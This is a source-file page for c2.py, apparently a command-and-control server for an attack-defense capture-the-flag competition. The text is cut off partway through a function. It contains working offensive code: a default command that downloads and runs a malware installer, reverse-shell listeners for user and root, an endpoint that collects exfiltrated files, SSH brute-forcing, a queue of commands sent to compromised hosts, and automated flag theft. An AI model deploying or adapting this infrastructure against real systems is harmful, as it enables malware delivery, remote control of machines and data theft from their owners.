-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathc2.py
1530 lines (1259 loc) · 46.5 KB
/
c2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
import json
import os
import random
import re
import socket
import string
import subprocess
import time
from base64 import b64decode
from datetime import datetime, timedelta
from threading import Thread
import paramiko
import requests
from flask import Flask, flash, redirect, render_template, request, url_for
from flask_bootstrap import Bootstrap4
from flask_sqlalchemy import SQLAlchemy
# Constants
PORT = 80
DEBUG = False
MSF_DIR = "/usr/src/metasploit-framework/"
MSFRPC_PW = "tHVdf97UqDZxmJuh"
TEMPLATE_DIR = "./templates/"
SCRIPTS_DIR = "./scripts/"
DB_FILE = "c2.db"
LOG_FILE = "c2.log"
THREADS = []
# Default settings
DEFAULT_SUBNET = "172.16.T.B"
DEFAULT_WHITELISTED_IPS = "127.0.0.1"
DEFAULT_FLAG_REGEX = r"NCX\{[^\{\}]{1,100}\}"
DEFAULT_FLAG_SUBMIT_CONNECT_SID = ""
DEFAULT_FLAG_SUBMIT_RC_UID = ""
DEFAULT_FLAG_SUBMIT_RC_TOKEN = ""
DEFAULT_FLAG_SUBMIT_SESSION = ""
DEFAULT_MALWARE_PATH = "malware_installer"
DEFAULT_MALWARE_INSTALL = (
"curl -o installer http://CHANGE_ME/i && chmod +x installer && ./installer"
)
DEFAULT_MALWARE_REV_SHELL_PORT_USER = "445"
DEFAULT_MALWARE_REV_SHELL_PORT_ROOT = "443"
DEFAULT_STATUS_PWNED_TIMEOUT = "300"
DEFAULT_STATUS_FLAGS_TIMEOUT = "300"
DEFAULT_STATUS_INTERVAL = "10"
DEFAULT_RUN_SCRIPTS_INTERVAL = "30"
DEFAULT_SSH_BRUTEFORCE_INTERVAL = "30"
DEFAULT_SSH_BRUTEFORCE_TIMEOUT = "5"
DEFAULT_SPAM_INTERVAL_MIN = "5"
DEFAULT_SPAM_INTERVAL_MAX = "20"
DEFAULT_SPAM_TIMEOUT = "5"
DEFAULT_SPAM_RAND_FILE = "rand_file.txt"
# Create Flask and database
app = Flask(__name__, template_folder=TEMPLATE_DIR)
app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///" + DB_FILE
app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False
app.secret_key = "CyberChef2"
db = SQLAlchemy(app)
Bootstrap4(app)
def main():
# Create the database
db.create_all()
# Create default settings
add_setting(
"subnet",
DEFAULT_SUBNET,
"Subnet teams are on, T should replace team number and B should replace box IP",
)
add_setting(
"whitelisted_ips",
DEFAULT_WHITELISTED_IPS,
"IPs, separated by commas and no spaces, that are allowed to access admin site",
)
add_setting("flag_regex", DEFAULT_FLAG_REGEX, "Regex to search for flags with")
add_setting(
"flag_submit_connect.sid",
DEFAULT_FLAG_SUBMIT_CONNECT_SID,
"Flag submission connect.sid cookie",
)
add_setting(
"flag_submit_rc_uid",
DEFAULT_FLAG_SUBMIT_RC_UID,
"Flag submission rc_uid cookie",
)
add_setting(
"flag_submit_rc_token",
DEFAULT_FLAG_SUBMIT_RC_TOKEN,
"Flag submission rc_token cookie",
)
add_setting(
"flag_submit_session",
DEFAULT_FLAG_SUBMIT_SESSION,
"Flag submission session cookie",
)
add_setting("malware_path", DEFAULT_MALWARE_PATH, "Path to first stage of binary")
add_setting(
"malware_install", DEFAULT_MALWARE_INSTALL, "Command to install malware"
)
add_setting(
"malware_rev_shell_port_user",
DEFAULT_MALWARE_REV_SHELL_PORT_USER,
"Port malware tries to connect to for user shell",
)
add_setting(
"malware_rev_shell_port_root",
DEFAULT_MALWARE_REV_SHELL_PORT_ROOT,
"Port malware tries to connect to for root shell",
)
add_setting(
"status_pwned_timeout",
DEFAULT_STATUS_PWNED_TIMEOUT,
"Timeout, in seconds, when to stop assuming box is pwned",
)
add_setting(
"status_flags_timeout",
DEFAULT_STATUS_FLAGS_TIMEOUT,
"Timeout, in seconds, when to stop assuming box is getting flags",
)
add_setting(
"status_interval",
DEFAULT_STATUS_INTERVAL,
"Seconds to wait between each status check",
)
add_setting(
"run_scripts_interval",
DEFAULT_RUN_SCRIPTS_INTERVAL,
"Seconds to wait between running scripts",
)
add_setting(
"ssh_bruteforce_interval",
DEFAULT_SSH_BRUTEFORCE_INTERVAL,
"Seconds to wait between each SSH bruteforce",
)
add_setting(
"ssh_bruteforce_timeout",
DEFAULT_SSH_BRUTEFORCE_TIMEOUT,
"Seconds to wait for timeout during SSH bruteforce",
)
add_setting(
"spam_interval_min",
DEFAULT_SPAM_INTERVAL_MIN,
"Minimum seconds to wait between each spam",
)
add_setting(
"spam_interval_max",
DEFAULT_SPAM_INTERVAL_MAX,
"Maximum seconds to wait between each spam",
)
add_setting(
"spam_timeout",
DEFAULT_SPAM_TIMEOUT,
"Seconds to wait for timeout during spamming",
)
add_setting(
"spam_rand_file",
DEFAULT_SPAM_RAND_FILE,
"Path to file with random strings line by line",
)
# Run MSFRPC
subprocess.call("pkill msfrpcd", shell=True)
subprocess.call(
f"{os.path.join(MSF_DIR, 'msfrpcd')} -P {MSFRPC_PW} -S -a 127.0.0.1", shell=True
)
# Start threads
THREADS.append(Thread(target=status, name="status"))
THREADS.append(Thread(target=rev_shell_user_server, name="rev_shell_user_server"))
THREADS.append(Thread(target=rev_shell_root_server, name="rev_shell_root_server"))
THREADS.append(Thread(target=run_scripts, name="run_scripts"))
THREADS.append(Thread(target=ssh_bruteforce, name="ssh_bruteforce"))
THREADS.append(Thread(target=spam, name="spam"))
for thread in THREADS:
thread.start()
# Start Flask
app.run(port=PORT, debug=DEBUG, host="0.0.0.0")
# Catch all 404s and 405s
@app.errorhandler(404)
@app.errorhandler(405)
def catch_all(e):
return ""
# Protect the admin routes
@app.before_request
def check_admin():
settings = Setting.query.get("whitelisted_ips")
ips = settings.value.split(",")
if request.path.startswith("/admin") and request.remote_addr not in ips:
log("flask", f"{request.remote_addr} tried to access {request.path}")
return ""
@app.route("/admin", methods=["GET"])
def admin_home():
return render_template(
"home.html",
total_boxes=Box.query.count(),
pwned_boxes=Box.query.filter_by(pwned=True).count(),
pwned_boxes_root=Box.query.filter_by(pwned_root=True).count(),
flag_boxes=Box.query.filter_by(flags=True).count(),
flags_found=Flag.query.count(),
flags_submitted=Flag.query.filter(Flag.submitted.isnot(None)).count(),
)
@app.route("/admin/threads", methods=["GET"])
def admin_threads():
return render_template("threads.html", threads=THREADS)
@app.route("/admin/threads/start", methods=["GET"])
def admin_threads_start():
# Get parameters
name = request.args.get("name")
# Start the thread
for thread in THREADS:
if thread.name == name:
thread.start()
break
# Flash and redirect
flash("Thread started")
log("admin", f"thread {name} started by {request.remote_addr}")
return redirect(url_for("admin_threads"))
@app.route("/admin/logs", methods=["GET"])
def admin_logs():
# Get parameters
type = request.args.get("type")
num = request.args.get("num")
if type == "all":
type = None
# Query database
if not num:
num = 100
else:
num = int(num)
if type:
logs = (
Log.query.filter_by(type=type)
.order_by(Log.datetime.desc())
.limit(num)
.all()
)
else:
type = "all"
logs = Log.query.order_by(Log.datetime.desc()).limit(num).all()
# Fix distinct query
distinct = list(db.session.query(Log.type).distinct().all())
types = []
for d in distinct:
types.append(d[0])
return render_template(
"logs.html", logs=logs, selected_type=type, types=types, num=num
)
@app.route("/admin/settings", methods=["GET"])
def admin_settings():
return render_template("settings.html", settings=Setting.query.all())
@app.route("/admin/settings/update", methods=["POST"])
def admin_settings_update():
# Get form data
name = request.form.get("name")
value = request.form.get("value")
# Update in database
setting = Setting.query.get(name)
setting.value = value
db.session.commit()
# Flash and redirect
flash("Setting updated")
log("admin", f"setting {name} changed to {value} by {request.remote_addr}")
return redirect(url_for("admin_settings"))
@app.route("/admin/teams", methods=["GET"])
def admin_teams():
return render_template("teams.html", teams=Team.query.order_by(Team.num).all())
@app.route("/admin/teams/add", methods=["POST"])
def admin_teams_add():
# Get form data
num = int(request.form.get("num"))
name = request.form.get("name")
# Add to database
db.session.add(Team(num, name))
for service in Service.query.all():
db.session.add(Box(num, service.ip, False, False, None, False, None))
db.session.commit()
# Flash and redirect
flash("Team added")
log("admin", f"team {num} added by {request.remote_addr}")
return redirect(url_for("admin_teams"))
@app.route("/admin/teams/delete", methods=["GET"])
def admin_teams_delete():
# Get parameters
num = int(request.args.get("num"))
# Delete from database
team = Team.query.get(num)
db.session.delete(team)
db.session.commit()
# Flash and redirect
flash("Team deleted")
log("admin", f"team {num} deleted by {request.remote_addr}")
return redirect(url_for("admin_teams"))
@app.route("/admin/teams/update", methods=["POST"])
def admin_teams_update():
# Get form data
num = int(request.form.get("num"))
name = request.form.get("name")
# Update in database
team = Team.query.get(num)
team.name = name
db.session.commit()
# Flash and redirect
flash("Team updated")
log("admin", f"team {num} updated by {request.remote_addr}")
return redirect(url_for("admin_teams"))
@app.route("/admin/services", methods=["GET"])
def admin_services():
return render_template(
"services.html", services=Service.query.order_by(Service.ip).all()
)
@app.route("/admin/services/add", methods=["POST"])
def admin_services_add():
# Get form data
ip = int(request.form.get("ip"))
name = request.form.get("name")
port = int(request.form.get("port"))
ssh_port = int(request.form.get("ssh_port"))
# Add to database
db.session.add(Service(ip, name, port, ssh_port))
for team in Team.query.all():
db.session.add(Box(team.num, ip, False, False, None, False, None))
db.session.commit()
# Flash and redirect
flash("Service added")
log("admin", f"service {ip} added by {request.remote_addr}")
return redirect(url_for("admin_services"))
@app.route("/admin/services/delete", methods=["GET"])
def admin_services_delete():
# Get parameters
ip = int(request.args.get("ip"))
# Delete from database
service = Service.query.get(ip)
db.session.delete(service)
db.session.commit()
# Flash and redirect
flash("Service deleted")
log("admin", f"service {ip} deleted by {request.remote_addr}")
return redirect(url_for("admin_services"))
@app.route("/admin/services/update", methods=["POST"])
def admin_services_update():
# Get form data
ip = int(request.form.get("ip"))
name = request.form.get("name")
port = int(request.form.get("port"))
ssh_port = int(request.form.get("ssh_port"))
# Update in database
service = Service.query.get(ip)
service.name = name
service.port = port
service.ssh_port = ssh_port
db.session.commit()
# Flash and redirect
flash("Service updated")
log("admin", f"service {ip} updated by {request.remote_addr}")
return redirect(url_for("admin_services"))
@app.route("/admin/boxes", methods=["GET"])
def admin_boxes():
return render_template(
"boxes.html",
boxes=Box.query.order_by(Box.team_num, Box.service_ip).all(),
subnet=half_subnet(),
)
@app.route("/admin/flags", methods=["GET"])
def admin_flags():
return render_template(
"flags.html",
flags=Flag.query.order_by(Flag.found.desc()).all(),
subnet=half_subnet(),
)
@app.route("/admin/flags/submit", methods=["GET"])
def admin_flags_submit():
flags = Flag.query.filter(Flag.submitted.is_(None)).all()
submit_flags(flags)
flash("Flags submitted")
log("admin", f"submitting un-submitted flags from {request.remote_addr}")
return redirect(url_for("admin_flags"))
@app.route("/admin/flags/mark", methods=["GET"])
def admin_flags_mark():
# Get parameters
flag = request.args.get("flag")
# Update in database
flag = Flag.query.get(flag)
flag.submitted = datetime.now()
db.session.commit()
# Flash and redirect
flash("Flag marked as submitted")
log("admin", f"flag {flag} marked as submitted by {request.remote_addr}")
return redirect(url_for("admin_flags"))
@app.route("/admin/exfils", methods=["GET"])
def admin_exfils():
return render_template(
"exfils.html",
exfils=ExfilData.query.order_by(ExfilData.found.desc()).all(),
subnet=half_subnet(),
)
@app.route("/admin/exfils/view", methods=["GET"])
def admin_exfils_view():
# Get parameters
id = int(request.args.get("id"))
# Get from database
exfil_data = ExfilData.query.get(id)
# Return the data
log("admin", f"exfil {id} viewed by {request.remote_addr}")
return exfil_data.data
@app.route("/admin/scripts", methods=["GET"])
def admin_scripts():
return render_template(
"scripts.html",
scripts=Script.query.order_by(Script.id).all(),
services=Service.query.order_by(Service.ip).all(),
scripts_dir=SCRIPTS_DIR,
)
@app.route("/admin/scripts/add", methods=["POST"])
def admin_scripts_add():
# Get form data
service_ip = int(request.form.get("service_ip"))
path = request.form.get("path")
target_pwned = str_to_bool(request.form.get("target_pwned"))
# Add to database
db.session.add(Script(service_ip, path, target_pwned))
db.session.commit()
# Flash and redirect
flash("Script added")
log("admin", f"script added by {request.remote_addr}")
return redirect(url_for("admin_scripts"))
@app.route("/admin/scripts/delete", methods=["GET"])
def admin_scripts_delete():
# Get parameters
id = int(request.args.get("id"))
# Delete from database
script = Script.query.get(id)
db.session.delete(script)
db.session.commit()
# Flash and redirect
flash("Script deleted")
log("admin", f"script {id} deleted by {request.remote_addr}")
return redirect(url_for("admin_scripts"))
@app.route("/admin/scripts/update", methods=["POST"])
def admin_scripts_update():
# Get form data
id = int(request.form.get("id"))
service_ip = int(request.form.get("service_ip"))
path = request.form.get("path")
target_pwned = str_to_bool(request.form.get("target_pwned"))
# Update in database
script = Script.query.get(id)
script.service_ip = service_ip
script.path = path
script.target_pwned = target_pwned
db.session.commit()
# Flash and redirect
flash("Script updated")
log("admin", f"script {id} updated by {request.remote_addr}")
return redirect(url_for("admin_scripts"))
@app.route("/admin/flagrets", methods=["GET"])
def admin_flagrets():
return render_template(
"flagrets.html",
flagrets=FlagRetrieval.query.all(),
services=Service.query.order_by(Service.ip).all(),
)
@app.route("/admin/flagrets/add", methods=["POST"])
def admin_flagrets_add():
# Get form data
service_ip = int(request.form.get("service_ip"))
root_shell = str_to_bool(request.form.get("root_shell"))
command = request.form.get("command")
# Add to database
db.session.add(FlagRetrieval(service_ip, root_shell, command))
db.session.commit()
# Flash and redirect
flash("Flag retrieval added")
log("admin", f"flag retrieval added by {request.remote_addr}")
return redirect(url_for("admin_flagrets"))
@app.route("/admin/flagrets/delete", methods=["GET"])
def admin_flagrets_delete():
# Get parameters
id = int(request.args.get("id"))
# Delete from database
flag_retrieval = FlagRetrieval.query.get(id)
db.session.delete(flag_retrieval)
db.session.commit()
# Flash and redirect
flash("Flag retrieval deleted")
log("admin", f"flag retrieval {id} deleted by {request.remote_addr}")
return redirect(url_for("admin_flagrets"))
@app.route("/admin/flagrets/update", methods=["POST"])
def admin_flagrets_update():
# Get form data
id = int(request.form.get("id"))
service_ip = int(request.form.get("service_ip"))
root_shell = str_to_bool(request.form.get("root_shell"))
command = request.form.get("command")
# Update in database
flag_retrieval = FlagRetrieval.query.get(id)
flag_retrieval.service_ip = service_ip
flag_retrieval.root_shell = root_shell
flag_retrieval.command = command
db.session.commit()
# Flash and redirect
flash("Flag retrieval updated")
log("admin", f"flag retrieval {id} updated by {request.remote_addr}")
return redirect(url_for("admin_flagrets"))
@app.route("/admin/commands", methods=["GET"])
def admin_commands():
return render_template(
"commands.html",
queued_commands=QueuedCommand.query.all(),
boxes=Box.query.order_by(Box.team_num, Box.service_ip).all(),
subnet=half_subnet(),
)
@app.route("/admin/commands/add", methods=["POST"])
def admin_commands_add():
# Get form data
box = request.form.get("box")
root_shell = str_to_bool(request.form.get("root_shell"))
command = request.form.get("command")
# Parse box and add to database
if box == "all":
for box in Box.query.all():
db.session.add(
QueuedCommand(box.team_num, box.service_ip, root_shell, command)
)
db.session.commit()
else:
parts = box.split("-")
box = Box.query.get((int(parts[0]), int(parts[1])))
db.session.add(QueuedCommand(box.team_num, box.service_ip, root_shell, command))
db.session.commit()
# Flash and redirect
flash("Queued command added")
log("admin", f"queued command added by {request.remote_addr}")
return redirect(url_for("admin_commands"))
@app.route("/admin/commands/delete", methods=["GET"])
def admin_commands_delete():
# Get parameters
id = int(request.args.get("id"))
# Delete from database
queued_command = QueuedCommand.query.get(id)
db.session.delete(queued_command)
db.session.commit()
# Flash and redirect
flash("Queued command deleted")
log("admin", f"queued command {id} deleted by {request.remote_addr}")
return redirect(url_for("admin_commands"))
@app.route("/admin/ssh", methods=["GET"])
def admin_ssh():
return render_template(
"ssh.html",
usernames=SSHUsername.query.order_by(SSHUsername.username).all(),
passwords=SSHPassword.query.order_by(SSHPassword.password).all(),
)
@app.route("/admin/ssh/usernames/add", methods=["POST"])
def admin_ssh_usernames_add():
# Get form data
username = request.form.get("username")
# Add to database
db.session.add(SSHUsername(username))
db.session.commit()
# Flash and redirect
flash("SSH username added")
log("admin", f"SSH username {username} added by {request.remote_addr}")
return redirect(url_for("admin_ssh"))
@app.route("/admin/ssh/passwords/add", methods=["POST"])
def admin_ssh_passwords_add():
# Get form data
password = request.form.get("password")
# Add to database
db.session.add(SSHPassword(password))
db.session.commit()
# Flash and redirect
flash("SSH password added")
log("admin", f"SSH password {password} added by {request.remote_addr}")
return redirect(url_for("admin_ssh"))
@app.route("/admin/ssh/usernames/delete", methods=["GET"])
def admin_ssh_usernames_delete():
# Get parameters
username = request.args.get("username")
# Delete from database
ssh_username = SSHUsername.query.get(username)
db.session.delete(ssh_username)
db.session.commit()
# Flash and redirect
flash("SSH username deleted")
log("admin", f"SSH username {username} deleted by {request.remote_addr}")
return redirect(url_for("admin_ssh"))
@app.route("/admin/ssh/passwords/delete", methods=["GET"])
def admin_ssh_passwords_delete():
# Get parameters
password = request.args.get("password")
# Delete from database
ssh_password = SSHPassword.query.get(password)
db.session.delete(ssh_password)
db.session.commit()
# Flash and redirect
flash("SSH password deleted")
log("admin", f"SSH password {password} deleted by {request.remote_addr}")
return redirect(url_for("admin_ssh"))
@app.route("/admin/ssh/usernames/update", methods=["POST"])
def admin_ssh_usernames_update():
# Get form data
old_username = request.form.get("old_username")
username = request.form.get("username")
# Update in database
ssh_username = SSHUsername.query.get(old_username)
ssh_username.username = username
db.session.commit()
# Flash and redirect
flash("SSH username updated")
log("admin", f"SSH username {username} updated by {request.remote_addr}")
return redirect(url_for("admin_ssh"))
@app.route("/admin/ssh/passwords/update", methods=["POST"])
def admin_ssh_passwords_update():
# Get form data
old_password = request.form.get("old_password")
password = request.form.get("password")
# Update in database
ssh_password = SSHPassword.query.get(old_password)
ssh_password.password = password
db.session.commit()
# Flash and redirect
flash("SSH password updated")
log("admin", f"SSH password {password} updated by {request.remote_addr}")
return redirect(url_for("admin_ssh"))
# Install route
@app.route("/i", methods=["GET"])
def install():
with open(Setting.query.get("malware_path").value, "rb") as f:
data = f.read()
log("install_endpoint", f"install from {request.remote_addr}")
return data
# Exfil route
@app.route("/e", methods=["POST"])
def exfil():
# Get form data
victimip = request.form.get("victimip")
filename = request.form.get("filename")
b64_data = request.form.get("file")
# Check if it exists
if not victimip:
log("exfil_endpoint", f"victimip missing from {request.remote_addr}")
return ""
elif not filename:
log("exfil_endpoint", f"filename missing from {request.remote_addr}")
return ""
elif not b64_data:
log("exfil_endpoint", f"data missing from {request.remote_addr}")
return ""
# Decode data
try:
data = b64decode(b64_data).decode("utf-8")
except Exception as e:
log(
"exfil_endpoint",
f"b64 decode error on victimip {victimip} from {request.remote_addr}: {e}",
)
return ""
# Get team and service
try:
team = victimip.split(".")[2]
service = victimip.split(".")[3]
except Exception as e:
log(
"exfil_endpoint",
f"error decoding IP {victimip} from {request.remote_addr}: {e}",
)
return ""
# Save the data and extract flags
try:
db.session.add(ExfilData(team, service, filename, data, datetime.now()))
db.session.commit()
except Exception as e:
log(
"exfil_endpoint",
f"error adding data for team {team} and service {service} for file {filename} from {request.remote_addr}: {e}",
)
return ""
extract_flags(data, Box.query.get((team, service)), "exfil")
log(
"exfil_endpoint",
f"saved data from team {team} and service {service} from {request.remote_addr}",
)
return ""
def status():
# Continue checking
while True:
# Get settings from database
try:
pwned_timeout = int(Setting.query.get("status_pwned_timeout").value)
except Exception as e:
log("status", f"Invalid status_pwned_timeout setting: {e}")
pwned_timeout = DEFAULT_STATUS_PWNED_TIMEOUT
try:
flags_timeout = int(Setting.query.get("status_flags_timeout").value)
except Exception as e:
log("status", f"Invalid status_flags_timeout setting: {e}")
flags_timeout = DEFAULT_STATUS_FLAGS_TIMEOUT
try:
interval = int(Setting.query.get("status_interval").value)
except Exception as e:
log("status", f"Invalid status_interval setting: {e}")
interval = DEFAULT_STATUS_INTERVAL
# Get all boxes
boxes = Box.query.all()
# Iterate over boxes
for box in boxes:
# Check if still pwned
if box.pwned:
delta = box.last_update + timedelta(seconds=pwned_timeout)
if delta < datetime.now():
log(
"status",
f"box with team {box.team_num} and service {box.service_ip} no longer pwned",
)
box.pwned = False
box.pwned_root = False
db.session.commit()
# Check if still getting flags
if box.flags:
delta = box.last_flag + timedelta(seconds=flags_timeout)
if delta < datetime.now():
log(
"status",
f"box with team {box.team_num} and service {box.service_ip} no longer getting flags",
)
box.flags = False
db.session.commit()
# Wait until next check
log("status", f"sleeping for {interval} seconds")
time.sleep(interval)
def rev_shell_user_server():
# Get settings from database
try:
port = int(Setting.query.get("malware_rev_shell_port_user").value)
except Exception as e:
log(
"rev_shell_user_server", f"Invalid malware_rev_shell_port_user setting: {e}"
)
port = DEFAULT_MALWARE_REV_SHELL_PORT_USER
# Start listening
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", port))
s.listen(30)
log("rev_shell_user_server", f"listening on port {port}")
# Keep accepting connections
while True:
(client, (client_ip, client_port)) = s.accept()
log(
"rev_shell_user_server",
f"new connection from {client_ip} on port {client_port}",
)
Thread(target=new_rev_shell, args=[False, client, client_ip]).start()
def rev_shell_root_server():
# Get settings from database
try:
port = int(Setting.query.get("malware_rev_shell_port_root").value)
except Exception as e:
log(
"rev_shell_root_server", f"Invalid malware_rev_shell_port_root setting: {e}"
)
port = DEFAULT_MALWARE_REV_SHELL_PORT_ROOT
# Start listening
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", port))
s.listen(30)
log("rev_shell_root_server", f"listening on port {port}")
# Keep accepting connections
while True:
(client, (client_ip, client_port)) = s.accept()
log(
"rev_shell_root_server",
f"new connection from {client_ip} on port {client_port}",
)
Thread(target=new_rev_shell, args=[True, client, client_ip]).start()
def new_rev_shell(root_shell, client, ip):
# Set logging type
if root_shell:
log_type = "rev_shell_root_server"
else:
log_type = "rev_shell_user_server"
# Check if valid IP
if not ip.startswith(half_subnet()):
log(log_type, f"invalid IP from {ip}")
return
# Update box pwned status
parts = ip.split(".")
team_num = int(parts[2])
service_ip = int(parts[3])
box = Box.query.get((team_num, service_ip))
if not box:
log(log_type, f"could not find box for ip {ip}")
return
box.pwned = True
if root_shell:
box.pwned_root = True
box.last_update = datetime.now()
db.session.commit()
# Check for commands to run
commands = []
for flag_retrievals in FlagRetrieval.query.filter_by(
service_ip=service_ip, root_shell=False
).all():
commands.append(flag_retrievals.command)
for queued_command in QueuedCommand.query.filter_by(
team_num=team_num, service_ip=service_ip, root_shell=False
).all():
commands.append(queued_command.command)
db.session.delete(queued_command)
db.session.commit()
if root_shell:
for flag_retrievals in FlagRetrieval.query.filter_by(
service_ip=service_ip, root_shell=True
).all():
commands.append(flag_retrievals.command)
for queued_command in QueuedCommand.query.filter_by(
team_num=team_num, service_ip=service_ip, root_shell=True
).all():
commands.append(queued_command.command)
db.session.delete(queued_command)
db.session.commit()
# Send the commands
all_data = ""
for command in commands:
log(log_type, f"sending command '{command}' to IP {ip}")
client.send(str.encode(command + "\n"))
data = b""
while True:
data += client.recv(512)
if len(data) < 1:
break
data = data.decode("utf-8")
all_data += data + "\n"